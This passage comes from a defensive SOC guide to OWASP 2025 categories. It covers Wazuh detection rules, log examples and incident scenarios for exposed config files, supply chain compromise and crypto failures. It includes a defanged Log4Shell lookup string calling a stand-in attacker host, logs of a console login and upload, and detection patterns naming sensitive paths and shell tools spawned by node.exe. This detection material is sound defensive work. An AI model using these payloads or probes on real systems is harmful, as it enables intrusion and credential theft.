  1. Situation: A logistics company runs a Java application server. Its management console is reachable on the internet at /manager/html, and the default account was never changed.
  2. Attacker objective: Deploy their own application (a web shell) to run commands.
  3. Attacker actions: Tries common default credentials against the console.
  4. Representative evidence:
198.51.100.9 - admin [05/Nov/2026:04:20:11 +0000] "GET /manager/html HTTP/1.1" 401 2473 "-" "curl/8.5.0"
198.51.100.9 - admin [05/Nov/2026:04:20:14 +0000] "GET /manager/html HTTP/1.1" 200 15420 "-" "curl/8.5.0"
198.51.100.9 - admin [05/Nov/2026:04:21:02 +0000] "POST /manager/html/upload HTTP/1.1" 200 16110 "-" "curl/8.5.0"
  1. Vulnerable behavior: The console accepts the default password and allows uploads.
  2. Attempt versus success: The 401 is a failed attempt. The 200 on /manager/html with the username field filled shows a successful login. The POST to /upload shows a deployment action, which must be confirmed with file integrity data on the server.
  3. Impact: Full server compromise.

Example 3: Verbose error message

A request with an unexpected character returns a full stack trace showing the framework name and version. This is reconnaissance for the attacker. It is a misconfiguration when production is configured to show detailed errors. (Compare with A10 in the category comparison section: A10 is about the code not handling the abnormal condition safely.)

Security Misconfiguration Indicators and Evidence

IndicatorWhere you see itStrength
Many 404 responses for common sensitive files from one IPAccess logsSuspicious, usually internet scanning
200 response on /.env, /.git/, backup files, phpinfo.php, /actuator/envAccess logsStrong evidence of exposure
Successful login to an admin console with a default username such as adminApp server or access logs with user fieldStrong
Responses with stack traces or framework versionsApp logs, WAF, or manual check of the responseStrong evidence of misconfiguration, not of exploitation
Unexpected change to web server config filesWazuh FIMStrong sign of drift or tampering, needs change ticket check
SCA check changes from passed to failedWazuh SCAStrong evidence of a weak setting
Cloud storage object read by unknown identitiesCloud audit logsStrong if the bucket should be private
XML requests with <!DOCTYPE and <!ENTITYWAF or app logsSuspicious (XXE attempt)
New process started by the app server user after an admin uploadSysmon, auditdStrong sign of exploitation

How to Detect Security Misconfiguration with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Web server access logsNecessaryShows requests for sensitive paths and their status codes
Wazuh SCA (Security Configuration Assessment) resultsNecessary for configuration visibilityChecks hosts against hardening policies such as CIS benchmarks
Wazuh FIM (File Integrity Monitoring) on config foldersNecessaryDetects config changes
Web server error logsRecommendedShows forbidden access, invalid requests, stack traces
Application server logs (admin console logins)RecommendedShows default account use
WAF or ModSecurity logsOptionalShows XXE and other blocked payloads
Cloud audit logs (for example AWS CloudTrail) through the Wazuh cloud modulesOptional, needed for cloud misconfigurationShows bucket policy changes and public access
Process telemetry (Sysmon, auditd)OptionalProves code execution after console abuse

What Wazuh Can and Cannot Detect

  1. Directly with built in features:
    1. SCA runs policy checks on agents. Wazuh ships web server policies including cis_apache_24, cis_nginx_1, cis_iis_10 and web_vulnerabilities (Wazuh documentation, “Available SCA policies”). Built in SCA rules include 19007 (level 7) for a failed check and 19011 (level 9) when a check changes from passed to failed.
    2. FIM built in rules 550 “Integrity checksum changed” (level 7), 553 “File deleted” (level 7) and 554 “File added to the system” (level 5).
    3. Web rules 31516 “Suspicious URL access” (level 6) matches paths such as .bak, .swp, /.htaccess, /server-status, /.ssh, /.history. Rule 31515 detects scans for phpMyAdmin/scripts/setup.php. Rule 31151 detects many 4xx errors from one IP.
    4. Apache error log rules such as 30105 “Apache: Attempt to access forbidden file or directory.” and 30106 “Apache: Attempt to access forbidden directory index.”, and ModSecurity rules 30118 and 30411.
  2. Needs custom rules: 200 responses on sensitive files, admin console logins with default usernames, config changes on specific folders with higher severity.
  3. Needs application or WAF logs: XXE payloads and stack traces in responses, because request and response bodies are not in access logs.
  4. Needs external integrations: cloud storage and IAM misconfiguration (Wazuh AWS, Azure or GCP modules), or a dedicated cloud security posture tool.
  5. Cannot be reliably detected by Wazuh alone: a misconfiguration that nobody has touched yet (for example an exposed bucket nobody has read) unless an SCA policy or cloud scan checks for it. Detection of attacker activity is not the same as finding the weak setting.
  6. Suspicious versus proof: A 200 on /.env is strong suspicion. Proof is confirming the file exists in the web root and contains secrets.

Wazuh Rules for Security Misconfiguration

All rules below are custom rules (examples).

Rule logic:

  1. 100201: A sensitive file or debug endpoint returned 200.
  2. 100202: A request for the same sensitive paths with any other status (probing).
  3. 100203: FIM reports a modified file under web server configuration folders.
  4. 100204: An SCA check in a web server policy changed from passed to failed.
<group name="custom_owasp,owasp_a02,">

  <!-- Custom rule (example): sensitive file or debug endpoint served successfully -->
  <rule id="100201" level="10">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)(/\.git/|/\.env($|\?)|/phpinfo\.php|/actuator/(env|heapdump)|/server-status|/web\.config|/backup\.(zip|sql|tar\.gz)|/\.DS_Store)</url>
    <id>^200$</id>
    <description>OWASP A02: Sensitive file or debug endpoint returned 200: $(url)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): probing for the same sensitive paths -->
  <rule id="100202" level="6">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)(/\.git/|/\.env($|\?)|/phpinfo\.php|/actuator/(env|heapdump)|/server-status|/web\.config|/backup\.(zip|sql|tar\.gz)|/\.DS_Store)</url>
    <description>OWASP A02: Probe for sensitive file or debug endpoint: $(url)</description>
  </rule>

  <!-- Custom rule (example): web server configuration file modified -->
  <rule id="100203" level="10">
    <if_sid>550</if_sid>
    <field name="file" type="pcre2">^/etc/(nginx|apache2|httpd)/</field>
    <description>OWASP A02: Web server configuration file modified: $(file)</description>
    <mitre>
      <id>T1562</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): web server hardening check regressed -->
  <rule id="100204" level="10">
    <if_sid>19011</if_sid>
    <field name="sca.policy" type="pcre2">(?i)(apache|nginx|iis)</field>
    <description>OWASP A02: Web server hardening check changed from passed to failed: $(sca.check.title)</description>
  </rule>

</group>

Notes on the rules:

  1. 100201 and 100202 inspect url and id from the web-accesslog decoder. Because Wazuh checks sibling rules from the highest level down, 100201 (level 10) is tested before 100202 (level 6), so a 200 produces 100201 and other codes produce 100202.
  2. 100203 uses the FIM field file. The Wazuh FIM documentation shows custom rules with <if_sid>550</if_sid> and <field name="file">. The value appears in alerts as syscheck.path. FIM must be monitoring these folders on the agent, for example:
<!-- Agent ossec.conf, inside <syscheck> -->
<directories realtime="yes" report_changes="yes">/etc/nginx</directories>
  1. 100204 uses sca.policy and sca.check.title, which the built in SCA rules themselves use in their descriptions.

Why these levels: A served secret file (100201) or a hardening regression (100204) needs action the same day, so level 10. Probes (100202) are very common internet noise, so level 6. Config changes (100203) may be legitimate maintenance, so level 10 means “verify against a change ticket”.

How to test:

  1. Paste into wazuh-logtest:
192.0.2.88 - - [05/Nov/2026:03:11:03 +0000] "GET /.env HTTP/1.1" 200 1312 "-" "Mozilla/5.0 zgrab/0.x"

Expected: rule 100201, level 10.

  1. Change 200 to 404 and paste again. Expected: rule 100202, level 6.
  2. FIM and SCA rules cannot be tested by pasting plain text. Test them on a lab agent: change a comment in /etc/nginx/nginx.conf and wait for the FIM event, or deliberately break a hardening setting and wait for the next SCA scan.

Expected alert (representative, shortened):

{
  "rule": { "level": 10, "id": "100201", "description": "OWASP A02: Sensitive file or debug endpoint returned 200: /.env" },
  "agent": { "name": "shop-web-02" },
  "decoder": { "name": "web-accesslog" },
  "data": { "srcip": "192.0.2.88", "protocol": "GET", "url": "/.env", "id": "200" },
  "location": "/var/log/apache2/access.log"
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting then Events, filter rule.id:100201. For configuration findings use the Configuration Assessment module view for the agent. For file changes use the File Integrity Monitoring module.
  2. Fields to inspect: data.url, data.id, data.srcip, agent.name, full_log (for bytes and user agent). For FIM: syscheck.path, syscheck.event, syscheck.diff (when report_changes is on), syscheck.md5_after. For SCA: data.sca.policy, data.sca.check.title, data.sca.check.result.
  3. Source IP: Check reputation and whether the IP scanned many paths (rule.id:31151 or rule.id:100202 with the same IP).
  4. Affected endpoint: agent.name and location.
  5. User account: Usually none for file exposure. For console logins, the user is in the access log (third field) or app server logs.
  6. Timestamps: When was the file first exposed (deployment time) and when was it first read?
  7. Correlate: Look for later use of leaked secrets, such as database logins from new IPs, or API calls with the leaked key.
  8. Success check: Response size compared with the real file size. Ask the system owner to confirm the file is present in the web root.
  9. Impact: List every secret in the file and the systems they unlock.
  10. Document: Path, time, IP, bytes, secrets involved, rotation status.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:100201Sensitive files served with 200Which files and which servers
rule.id:(100202 or 31516 or 31515)Probes for sensitive pathsTop source IPs, scanners versus targeted
rule.id:31151Many 4xx errors from one IPScanning bursts
rule.groups:sca and rule.id:19011SCA checks that regressedWhich host and setting
rule.id:100203 or (rule.id:550 and syscheck.path:/etc/nginx*)Web config changesMatching change ticket, syscheck.diff content
data.url:*manager/html* and data.id:200Successful access to an app server consoleSource IP and username in full_log

Detection Limitations

  1. No scanning, no alert: A misconfiguration with no attacker activity is invisible to log rules. SCA and external scans are needed.
  2. SCA coverage: SCA only checks what its policies contain. Custom application settings (for example a framework debug flag) need custom SCA policies.
  3. Cloud blind spot: Cloud storage permissions are not visible without cloud log integration.
  4. False positives: Health checks hitting /server-status, internal monitoring tools, and legitimate config changes.
  5. Rewritten 200 responses: Some apps return 200 with a custom “not found” page. Always check the bytes.
  6. Improve visibility: Enable SCA with web server policies, monitor config folders with FIM and report_changes, collect error logs, and integrate cloud audit logs.

Practical SOC Investigation Scenario: Exposed .env File on a Retail Storefront

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. An online retailer deploys a new storefront version every week. The site runs on Apache, and Wazuh agents collect access logs, FIM and SCA data from the web servers.

Initial suspicious activity. An external IP sends hundreds of requests for common sensitive file paths within two minutes.

Initial detection. At 03:11 UTC, custom rule 100201 fires: “Sensitive file or debug endpoint returned 200: /.env” on shop-web-02 from 192.0.2.88. Built in rule 31151 (multiple 400 errors from the same source IP) fires for the same IP.

Logs examined. The analyst reviews the access logs for the source IP, searches data.url:"/.env" across all agents for 30 days, and checks FIM events for the web root.

Suspicious indicators. About 240 requests from the IP use a scanner user agent and mostly return 404. Only /.env returns 200, with 1,312 bytes, which is consistent with a real configuration file.

Event correlation. Three other IPs also received 200 for /.env since the last deployment, five days earlier. A FIM event (syscheck.event:added) shows that the file appeared in the web root during that deployment. The system owner confirms that the file holds a database password and a payment provider API key.

Assessment of successful exploitation. The 404 probes are attack attempts. The 200 responses with the expected file size show the file was successfully downloaded by at least four external IPs. No application code was exploited; the server simply served a file that should never have been public. Database logs show no logins from unknown IPs so far, so use of the stolen credentials is not confirmed.

Potential business impact. Two production credentials have been exposed for five days. The payment key must be treated as compromised.

Incident response actions. The SOC escalates the case as High. It recommends removing the file immediately, rotating both secrets and watching for any use of the old key. System administrators remove the file and add a web server rule that denies access to dot files. The payment and database owners rotate the credentials.

Recommended remediation. DevOps fixes the deployment script so it excludes .env files, and moves secrets to a secrets manager. Verification confirms that /.env now returns 403 or 404 and that no new 100201 alerts appear. Root cause: A02 Security Misconfiguration.

Incident Response Process

StepCategory specific actionWho
Initial triageConfirm the path, status, bytes and server; check if it is a scanner or targetedSOC L1
Evidence collectionSave alert JSON, access logs, FIM and SCA records, deployment timeSOC L1 or L2
Event correlationFind every IP that received the resource; look for later use of exposed secretsSOC L2
Severity assessmentProbe only (Low), exposed config without secrets (Medium), exposed secrets or console takeover (High or Critical)SOC L2
Impact assessmentList secrets, data or functions exposedSOC with system owner
EscalationIncident lead, system owner, secret ownersSOC
Containment recommendationRemove file, block path, disable console, rotate secrets, restrict cloud bucketSOC recommends; admins execute
CoordinationDevOps fixes pipeline; admins harden configurationAdmins, DevOps
Remediation verificationRe run requests, re run SCA scan, confirm FIM baselineSOC
Documentation and closureRoot cause, exposure window, rotated secrets, new rulesSOC and incident lead

Prevention and Remediation

  1. Use a repeatable, automated hardening process so development, test and production are configured the same way (with different credentials).
  2. Remove sample apps, unused features, default accounts and test frameworks.
  3. Disable directory listing and block dot files and backup files at the web server.
  4. Show generic error pages in production and log details internally.
  5. Send security headers.
  6. Review cloud storage permissions and use short lived credentials instead of static keys in config files.
  7. Run SCA and external scans continuously and alert on regressions.
  8. Monitor configuration folders with FIM.

A03:2025 Software Supply Chain Failures

Official page: OWASP A03:2025 Software Supply Chain Failures

What Are Software Supply Chain Failures?

Definition: Software Supply Chain Failures are weaknesses or compromises in the code, tools and processes we depend on to build, distribute and update software, such as outdated or vulnerable libraries, unmaintained components, malicious packages, compromised vendor updates, or an insecure build pipeline.

Key terms:

  1. Dependency is a library or package your application uses.
  2. Transitive dependency is a dependency of a dependency. Many vulnerable components arrive this way.
  3. SBOM (Software Bill of Materials) is a list of every component and version inside your software.
  4. CI/CD (Continuous Integration and Continuous Delivery) is the automated pipeline that builds, tests and deploys code.
  5. SCA tools here means Software Composition Analysis tools that find vulnerable dependencies. Do not confuse them with Wazuh SCA, which means Security Configuration Assessment.
  6. CVE (Common Vulnerabilities and Exposures) is a public ID for a known vulnerability, for example CVE-2021-44228 (Log4Shell).
  7. Typosquatting is publishing a malicious package with a name close to a popular one.
  8. Post install script is code a package runs automatically when installed. Malicious packages often abuse it.

What weakness it represents: OWASP describes it as breakdowns or compromises in the process of building, distributing or updating software. It grew out of the 2013 to 2021 category about using components with known vulnerabilities. Mapped CWEs include CWE-1104 (use of unmaintained third party components) and CWE-1395 (dependency on a vulnerable third party component).

Why it happens:

  1. Teams do not know every component and version they run, especially transitive ones.
  2. Patching is slow (monthly or quarterly), leaving long exposure windows.
  3. Packages are pulled from untrusted sources.
  4. CI/CD systems have weaker security than the systems they deploy.
  5. One person can push code all the way to production without review.

Why attackers target it: One compromised component can reach thousands of victims. Public CVEs give attackers ready made exploit targets. OWASP reports this category had the highest average incidence rate (5.19%) in its data, and 50% of community survey respondents ranked it number one.

Real cases cited by OWASP: the SolarWinds compromise (malicious vendor update), the 2025 Bybit theft through compromised wallet software, the 2025 “Shai Hulud” self spreading npm worm described in a CISA alert, Apache Struts CVE-2017-5638, and Log4Shell CVE-2021-44228.

What can happen after successful exploitation: Remote code execution through a vulnerable library, malware inside your own builds, stolen developer tokens and cloud keys, and compromise of customers who install your software.

Business assets affected: production servers, build servers, source code repositories, signing keys, developer laptops and tokens, and customer trust.

How Software Supply Chain Attacks Work

There are two main paths. Learn both.

Path 1: Exploiting a known vulnerable component

  1. Attacker needs: A public CVE and a way to reach the vulnerable feature, often only an HTTP request.
  2. Target: A framework or library inside the application, for example a logging library or a web framework.
  3. What the attacker sends: A request containing a payload that triggers the library bug, often in a header or parameter.
  4. Vulnerable application: Passes the input to the outdated library, which behaves dangerously.
  5. Exploitation: The library runs attacker code or leaks data.
  6. Success: Code execution on the server, new processes, outbound connections.
  7. Evidence: Exploit strings in logs, followed by unusual processes and network connections from the application user.

Path 2: Poisoning the supply chain

  1. Attacker needs: Control of a package, a vendor’s update server, or a developer’s token.
  2. Target: The build pipeline or developer machines.
  3. What the attacker changes: Publishes a malicious version of a package, or modifies a build step.
  4. Victim behavior: The build automatically pulls the new version and runs its install script.
  5. Exploitation: The script steals tokens or adds a backdoor to the build output.
  6. Success: Secrets stolen, malicious code shipped to production.
  7. Evidence: New dependency versions in build logs, packages from unusual registries, build agents spawning shells and making outbound connections.

Software Supply Chain Attack Examples

Example 1: Outdated logging library on an internal web app

  1. Situation: A manufacturing company runs an internal Java ticketing app that uses an old version of a logging library vulnerable to Log4Shell style lookups.
  2. Attacker objective: Run code on the server.
  3. Attacker actions: Sends a request where the User-Agent header contains a lookup string that the library would interpret.
  4. Safe representative example (string defanged so it is not functional):
GET /tickets HTTP/1.1
Host: tickets.corp.example
User-Agent: ${jndi:ldap://attacker[.]example/a}
  1. Vulnerable behavior: The app logs the user agent, the old library evaluates the lookup and connects out to the attacker’s server.
  2. Attempt versus success: The request in a log is an attempt (internet scanners sent millions of these). Success is shown by an outbound LDAP or HTTP connection from the server to an unknown host right after the request, then new child processes of the Java process.
  3. Impact: Remote code execution on an internal server.

Example 2: Malicious package in the build pipeline

  1. Situation: A fintech startup builds its Node.js frontend in a CI pipeline on a Windows build agent.
  2. Attacker objective: Steal cloud and package registry tokens from the build agent.
  3. Attacker actions: Publishes a malicious version of a small package that the frontend uses indirectly. The version has a post install script.
  4. Representative build log line (JSON, written by the pipeline):
{"source":"ci","pipeline":"storefront-build","event":"dependency_resolved","package":"color-helper-utils","version":"4.2.1","registry":"https://npm-mirror.unknown.example/"}
  1. Vulnerable behavior: The pipeline allows any version and any registry, and runs install scripts with access to secrets.
  2. Attempt versus success: The package resolving is a signal. Success is shown by the build agent running node.exe that spawns powershell.exe or curl.exe and connects to an external site, and by later use of the stolen tokens.
  3. Impact: Stolen tokens, possible poisoning of other packages the company publishes.

Supply Chain Attack Indicators and Evidence

IndicatorWhere you see itStrength
Known vulnerable package version installed on a serverWazuh Vulnerability DetectionStrong evidence of a vulnerability, not of an attack
Exploit strings for a known CVE in requests (for example ${jndi:)Access logs, WAF logsSuspicious attempt
Outbound connection from an app server to an unknown host right after such a requestFirewall, Sysmon Event 3, auditdStrong evidence of exploitation
Web or app server process starting a shellSysmon Event 1, auditd execveStrong
New dependency version or new registry in build logsCI/CD logsSuspicious
Build agent running node, npm, pip that spawns curl, powershell or bashEndpoint telemetry on build agentsStrong
Package registry token used from a new IPRegistry audit logsStrong
Unexpected change to package.json, lock files or pipeline definitions without reviewRepository audit logsSuspicious to strong

How to Detect Supply Chain Attacks with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Wazuh Syscollector inventory plus Vulnerability DetectionNecessaryFinds known CVEs in installed packages
Web access and WAF logsNecessary for exploitation attemptsShows exploit strings
Endpoint process and network telemetry (Sysmon on Windows, auditd on Linux) on app servers and build agentsNecessary to confirm exploitationShows child processes and outbound connections
CI/CD pipeline logs (JSON preferred)RecommendedShows dependency changes and registries
Source repository audit logs (for example GitHub audit log)Optional, needs an integrationShows who changed pipeline files
Firewall or proxy logsRecommendedConfirms outbound callbacks

What Wazuh Can and Cannot Detect

  1. Directly with built in features:
    1. Vulnerability Detection compares the Syscollector package inventory with vulnerability data and creates alerts. Built in rules 23503 (level 5), 23504 (level 7), 23505 (level 10) and 23506 (level 13) describe “$(vulnerability.cve) affects $(vulnerability.package.name)” at increasing severity. The vulnerability state is also stored in an index (the documentation sample shows wazuh-states-vulnerabilities-<cluster name>) and shown in the Vulnerability Detection module with Inventory and Events tabs.
    2. Package inventory covers operating system packages and, on supported systems, npm and PyPI packages in default installation paths (Wazuh “System inventory” compatibility matrix). Libraries bundled inside an application folder, such as a JAR inside a WAR file, may not be visible.
    3. Built in web rules may catch some exploit strings (for example rule 31104 “Common web attack” or the Shellshock rules 31166 to 31169), but there is no general built in rule for every CVE.
  2. Needs custom rules: dependency events in CI logs, suspicious child processes on build agents, exploit strings for specific CVEs.
  3. Needs external integrations: repository audit logs, package registry logs, dedicated software composition analysis and SBOM tools such as OWASP Dependency Track.
  4. Cannot be reliably detected by Wazuh alone: a trusted vendor update that is malicious but signed (like SolarWinds) until it behaves abnormally, and vulnerable libraries that Wazuh cannot inventory.
  5. Suspicious versus proof: A vulnerability alert proves a vulnerable version is installed. It does not prove anyone attacked it. An exploit string proves an attempt. Process and network evidence proves exploitation.

Wazuh Rules for Supply Chain Detection

All rules below are custom rules (examples).

Rule logic:

  1. 100301: A high or critical vulnerability alert concerns a web stack package (web server, TLS library, runtime).
  2. 100302: A CI pipeline log shows a dependency resolved from a registry that is not on the approved list.
  3. 100303: On a Windows build agent with Sysmon, node.exe starts a shell or download tool.
<group name="custom_owasp,owasp_a03,">

  <!-- Custom rule (example): high or critical CVE in a web stack package -->
  <rule id="100301" level="12">
    <if_sid>23505,23506</if_sid>
    <field name="vulnerability.package.name" type="pcre2">(?i)^(nginx|apache2|httpd|openssl|tomcat|php|nodejs)</field>
    <description>OWASP A03: $(vulnerability.cve) affects web stack package $(vulnerability.package.name)</description>
  </rule>

  <!-- Custom rule (example): dependency pulled from a non approved registry -->
  <rule id="100302" level="10">
    <decoded_as>json</decoded_as>
    <field name="source">^ci$</field>
    <field name="event">^dependency_resolved$</field>
    <field name="registry" type="pcre2" negate="yes">^https://(registry\.npmjs\.org|artifacts\.corp\.example)/</field>
    <description>OWASP A03: Dependency $(package) $(version) resolved from non approved registry $(registry)</description>
    <mitre>
      <id>T1195.001</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): Node.js on a build agent spawning a shell or download tool -->
  <rule id="100303" level="12">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)\\node\.exe$</field>
    <field name="win.eventdata.image" type="pcre2">(?i)\\(powershell|cmd|curl|certutil)\.exe$</field>
    <description>OWASP A03: node.exe started $(win.eventdata.image), possible malicious package install script</description>
    <mitre>
      <id>T1195.001</id>
      <id>T1059</id>
    </mitre>
  </rule>

</group>

Notes:

  1. 100301 uses parents 23505 and 23506 and the field vulnerability.package.name that the built in rules print in their descriptions.
  2. 100302 needs the pipeline to write single line JSON and the agent to read it with <log_format>json</log_format>. The built in json decoder then exposes each key as a field. The approved registries in the pattern are the public npm registry and the organization’s internal artifact repository; each organization lists its own approved sources here.
  3. 100303 builds on built in rule 61603 (level 0), whose description begins Sysmon - Event 1: Process creation, and the fields win.eventdata.parentImage and win.eventdata.image, which the built in Sysmon rules use. On Linux build agents, the same idea uses auditd execve records (fields such as audit.exe and audit.key).
  4. MITRE ATT&CK T1195.001 is “Supply Chain Compromise: Compromise Software Dependencies and Development Tools” (MITRE ATT&CK T1195.001).

Why these levels: A critical CVE on an internet facing web stack (100301) and a build agent spawning shells from a package manager (100303) need fast action, so level 12. A dependency from an unknown registry (100302) may be a developer mistake, so level 10.

How to test:

  1. Create a test file on a lab agent, add a localfile block:
<localfile>
  <log_format>json</log_format>
  <location>/var/log/ci/pipeline.json</location>
</localfile>
  1. Paste the JSON line from Example 2 into wazuh-logtest. Expected: decoder json, rule 100302, level 10.
  2. Change the registry to https://registry.npmjs.org/ and paste again. Expected: no 100302 alert.
  3. Test 100303 on a lab Windows host with Sysmon by running a harmless command from Node.js, for example node -e "require('child_process').execSync('cmd /c echo test')", and check the alert.
  4. Test 100301 by checking existing vulnerability alerts in the lab; it needs real inventory data.

Expected alert (representative, shortened):

{
  "rule": { "level": 10, "id": "100302", "description": "OWASP A03: Dependency color-helper-utils 4.2.1 resolved from non approved registry https://npm-mirror.unknown.example/" },
  "agent": { "name": "ci-runner-03" },
  "decoder": { "name": "json" },
  "data": { "source": "ci", "pipeline": "storefront-build", "event": "dependency_resolved", "package": "color-helper-utils", "version": "4.2.1", "registry": "https://npm-mirror.unknown.example/" },
  "location": "/var/log/ci/pipeline.json"
}

Investigating the Alert in Wazuh

  1. Find the alert: For CVEs, open the Vulnerability Detection module (Inventory and Events). For pipeline and process alerts, use Threat Hunting, filtering rule.id:100302 or rule.id:100303.
  2. Fields to inspect:
    1. Vulnerability: data.vulnerability.cve, data.vulnerability.package.name, data.vulnerability.package.version, data.vulnerability.severity, agent.name.
    2. Pipeline: data.pipeline, data.package, data.version, data.registry.
    3. Process: data.win.eventdata.parentImage, data.win.eventdata.image, data.win.eventdata.commandLine, data.win.eventdata.user.
  3. Source IP: For exploit attempts, data.srcip in access logs. For callbacks, data.win.eventdata.destinationIp in Sysmon Event 3.
  4. Affected endpoint: agent.name. Check if it is internet facing.
  5. User account: The service account running the build or application.
  6. Timestamps: When was the vulnerable version installed or the malicious package pulled? When did the first suspicious process start?
  7. Correlate: Exploit string, then outbound connection, then child process, then new files (FIM).
  8. Success check: Process and network evidence after the attempt.
  9. Impact: Which secrets were available to the process? Which builds shipped after the bad package?
  10. Document: CVE or package, versions, hosts, timeline, evidence of execution.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:(23505 or 23506)High and critical vulnerability alertsInternet facing hosts first
rule.id:100301Critical CVEs in web stack packagesPatch priority
data.vulnerability.cve:"CVE-2021-44228"All hosts with Log4ShellExposure list
rule.id:100302Dependencies from unknown registriesWhich pipeline and package
rule.id:100303Node.js spawning shellsCommand line, then network events from the same host
rule.id:61605 and agent.name:ci-runner-03Sysmon network connections from the build agentUnknown external destinations
full_log:*jndi*Log4Shell style strings in collected logsThen check for outbound callbacks

Detection Limitations

  1. Inventory gaps: Bundled libraries inside application archives or containers may not appear in Syscollector.
  2. Signed malicious updates: A compromised vendor update looks legitimate until it behaves badly.
  3. No CI telemetry by default: Wazuh sees CI events only if you make the pipeline write logs and collect them.
  4. Noise: Vulnerability alerts can number in the thousands. Prioritize internet facing and exploited in the wild vulnerabilities.
  5. Encrypted callbacks: Outbound HTTPS from a server may look normal without destination reputation data.
  6. Improve visibility: Generate SBOMs, run a software composition analysis tool in CI, send CI logs as JSON to Wazuh, deploy Sysmon or auditd on build agents, and restrict build agents’ internet access to approved registries.

Practical SOC Investigation Scenario: Malicious Package on a CI Build Agent

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A fintech company builds its web frontend on Windows CI agents. The agents run Wazuh with Sysmon, and the pipeline writes JSON logs that Wazuh collects.

Initial suspicious activity. During a routine build, the Node.js process on a build agent starts PowerShell, which a normal frontend build never does.

Initial detection. At 14:02, custom rule 100303 fires: “node.exe started powershell.exe” on ci-runner-03. Two minutes earlier, custom rule 100302 had fired for a dependency resolved from a registry that is not on the approved list.

Logs examined. The analyst reviews the Sysmon process creation event (data.win.eventdata.commandLine), Sysmon network events (rule.id:61605) from the same host, the pipeline JSON logs, and FIM events for the runner workspace.

Suspicious indicators. PowerShell is running an encoded command. Within the same minutes, powershell.exe makes an outbound HTTPS connection to an IP that has no business relationship with the company. The pipeline log shows a new minor version of an indirect dependency pulled from a mirror the team never approved.

Event correlation. In order, the events are: the package is resolved from the unapproved registry, the post install activity starts, PowerShell launches, the outbound connection opens, and FIM reports a new script file in the package folder. DevOps confirms that the pipeline exposes a registry publish token and a cloud deployment key as environment variables.

Assessment of successful exploitation. Process and network telemetry confirm that malicious code executed on the build agent. Theft of the exposed tokens is likely but not yet confirmed. The cloud team has to check the audit logs for any use of them.

Potential business impact. The registry token and the cloud key may be exposed. Builds produced after 14:00 may contain tampered files. No production deployment happened during the window.

Incident response actions. The SOC escalates the case as Critical. It recommends isolating the runner, stopping the pipeline and revoking the tokens. DevOps revokes the tokens and rebuilds the runners from a clean image. The cloud team reviews the audit logs for use of the deployment key.

Recommended remediation. The team pins the dependency to the last known good version and allows only the approved registry. Build agents lose general internet access. Verification confirms that no new 100302 or 100303 alerts appear and that the revoked tokens are not used. The malicious code arrived through a third party package in the build process, so the root cause is A03 Software Supply Chain Failures.

Incident Response Process

StepCategory specific actionWho
Initial triageIs it a vulnerability (no attack), an attempt, or execution? Which host?SOC L1
Evidence collectionVulnerability record, pipeline logs, Sysmon or auditd events, network logs, package name and versionSOC L1 or L2
Event correlationRequest, then callback, then process, then file creation; or package pull, then process, then token useSOC L2
Severity assessmentVulnerability only (based on exposure and exploitability), attempt (Medium), code execution or token theft (Critical)SOC L2
Impact assessmentHosts running the component, secrets reachable, builds or releases affectedSOC with DevOps
EscalationIncident lead, DevOps, application owner, vendor management if a vendor is involvedSOC
Containment recommendationIsolate hosts, stop pipelines, revoke tokens, block callbacks, virtual patch at WAFSOC recommends; owners execute
CoordinationPatch or pin versions, rebuild, notify downstream customers if releases were affectedDevOps, developers, vendor management
Remediation verificationVulnerability Detection shows the CVE as solved (rule 23502 describes a CVE solved by an update); no new suspicious processesSOC
Documentation and closureComponent, versions, exposure window, root cause, SBOM and pipeline improvementsSOC and incident lead

Prevention and Remediation

  1. Maintain an SBOM and track direct and transitive dependencies.
  2. Continuously scan components against CVE, NVD and OSV data.
  3. Get components only from official sources; prefer signed packages.
  4. Pin versions deliberately and review upgrades.
  5. Remove unused dependencies.
  6. Harden CI/CD: least privilege, short lived tokens, separation of duties, review before production.
  7. Use staged rollouts so a bad vendor update does not hit everything at once.
  8. Patch based on risk, quickly for exploited vulnerabilities, and use virtual patching at the WAF when a patch is not possible.

A04:2025 Cryptographic Failures

Official page: OWASP A04:2025 Cryptographic Failures

What Are Cryptographic Failures?

Definition: Cryptographic Failures happen when sensitive data is not protected with strong, correctly used cryptography, for example data sent without encryption, weak or outdated algorithms, passwords stored with fast hashes like MD5, leaked or hardcoded keys, or random values that are predictable.

Key terms:

  1. Encryption in transit protects data moving across a network, usually with TLS. HTTPS is HTTP over TLS.
  2. Encryption at rest protects stored data, such as database files and backups.
  3. Hashing turns data into a fixed value that cannot be reversed. Passwords should be stored with slow, salted password hashing functions such as Argon2, scrypt, yescrypt or PBKDF2, as OWASP recommends.
  4. Salt is a random value added to each password before hashing so identical passwords produce different hashes.
  5. Deprecated algorithms are old ones that are no longer safe, such as MD5, SHA1, DES, or the protocols SSLv3, TLS 1.0 and TLS 1.1.
  6. Key management covers creating, storing, rotating and revoking keys. An HSM (Hardware Security Module) is a device that protects keys.
  7. CSPRNG (Cryptographically Secure Pseudo Random Number Generator) creates unpredictable values. A normal random function is not good enough for tokens.
  8. HSTS (HTTP Strict Transport Security) is a response header that tells browsers to always use HTTPS for the site.

What weakness it represents: OWASP describes failures related to lack of cryptography, weak cryptography, leaked keys and related errors. Notable CWEs include CWE-327 (broken or risky algorithm), CWE-331 (insufficient entropy) and CWE-338 (weak pseudo random number generator).

Why it happens:

  1. Developers write their own crypto or use insecure defaults.
  2. Legacy systems keep old protocols for compatibility.
  3. Keys are stored in source code or config files.
  4. Teams do not classify which data is sensitive.
  5. Normal random functions are used for security tokens.

Why attackers target it: Weak crypto turns a small foothold into large data theft. A stolen database with MD5 password hashes can be cracked quickly. Predictable tokens let attackers take over accounts without passwords.

